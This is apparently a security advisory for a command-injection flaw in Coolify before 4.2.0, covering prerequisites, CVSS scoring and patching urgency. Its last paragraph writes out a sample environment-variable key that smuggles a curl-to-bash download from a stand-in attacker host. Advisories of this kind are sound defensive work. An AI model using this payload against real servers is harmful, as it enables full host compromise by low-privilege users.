Coolify CVE-2026-84694

The attacker must hold a valid Coolify account with permission to create or modify environment variables for at least one application - low-privilege platform access (developer or team-member role) is sufficient; administrative rights are not required. The targeted Coolify instance must be actively managing at least one server via SSH, which is the core function of the platform and effectively a universal condition for any functional Coolify deployment. Exploitation requires that Coolify subsequently execute a Docker command using the poisoned environment variable key, which occurs during normal deployment or container lifecycle operations and does not require any additional victim interaction. The flaw is limited to Coolify installations running versions prior to 4.2.0; instances already upgraded to v4.2.0 or later are not affected.

The CVSS 4.0 score of 8.7 accurately characterizes this vulnerability: network-reachable, low complexity, and requiring only low-privilege authenticated access (PR:L), with high confidentiality, integrity, and availability impact on the vulnerable system. The critical risk amplifier beyond the score is that successful exploitation produces arbitrary code execution on the managed server host, entirely outside container isolation - functionally a container escape achieved without exploiting any container runtime CVE. Any Coolify user with permission to create or modify application environment variables is a potential attacker; in typical self-hosted deployments, this includes developers and team members with routine platform access, not just administrators. The attack requires no special network position beyond reaching the Coolify web interface, and no user interaction from a victim. No public exploit code has been identified at time of analysis, and CISA KEV listing is not confirmed; EPSS data was not provided. The standard CWE-78 injection pattern and the low attack complexity suggest this vulnerability is straightforward to reproduce once the patch diff is public, making prompt patching the critical control. Smaller deployments - even a mid-sized IT team running a self-hosted Coolify instance - should treat this as urgent given the potential for full host compromise with developer-level credentials.

An authenticated Coolify developer with access to at least one application creates or edits an environment variable and sets the key name to a value such as MYVAR;curl${IFS}attacker.com/shell.sh|bash;#. The next time Coolify runs a Docker command incorporating that variable - during a deployment or container start - the injected shell content executes on the managed server host as the SSH user, achieving full host-level code execution outside any container. No public proof-of-concept has been identified, but the attack requires only web UI access and familiarity with basic shell injection techniques.